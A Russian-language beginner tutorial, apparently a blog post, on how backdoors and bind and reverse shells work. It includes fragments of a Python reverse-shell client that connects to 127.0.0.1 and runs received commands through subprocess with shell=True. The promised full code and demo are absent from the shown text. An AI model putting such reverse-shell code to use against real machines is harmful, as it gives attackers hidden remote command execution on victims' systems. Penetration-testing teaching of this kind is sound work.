Еще один крутой учебник по кибербезопасности
Проще говоря, бэкдор — это программа, которая дает пользователю удаленный доступ к целевой машине.
Основная цель бэкдора — отправлять и получать команды (и данные) на целевую машину для получения ценных данных или повышения привилегий на целевой машине и в сети.
Чтобы облегчить это взаимодействие, хакер устанавливает вредоносный код на целевой компьютер, который создает соединение и позволяет хакеру отправлять информацию.
Оболочки — важная часть программного обеспечения, которую этичные хакеры могут использовать для проведения тестов на проникновение во время контракта. В этой статье мы научим начинающих этичных хакеров, как сделать свою первую оболочку.
В области информационной безопасности существует два типа полезной нагрузки: оболочки и обратные оболочки.
Оболочки создают сервер непосредственно на целевой машине, к которому могут подключиться хакеры.
Обратные оболочки имеют клиентский компонент и серверный компонент. Клиенты запускаются на целевой машине, уже имеющей IP-адрес злоумышленника.
Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки. Двигаясь вперед, мы будем кодировать обратную оболочку. Цель будет называться жертвой, а машина хакера — атакующим.
Во-первых, мы должны создать сервер, на котором будет работать злоумышленник. Есть четыре шага следующим образом:
- Получение нашего локального IP и указанного порта.
- Привязка IP и порта для создания сокета.
- Запуск слушателя.
- Отправка и получение команд в бесконечном цикле.
Затем мы подключимся к злоумышленнику на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = '127.0.0.1' REMOTE_PORT = 8081 # 2222 client = socket.socket()
Далее мы должны получать команды и использовать библиотеку subproccess
для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
Полный код сервера выглядит следующим образом:
Вот пример обратной оболочки в игре:
Запуск сначала сервера, а затем клиента позволит пользователям использовать сервер для отправки и получения данных, как и было обещано. Пожалуйста, проверьте это и дайте мне знать, что вы думаете.
Полный код см. в моем профиле на GitHub.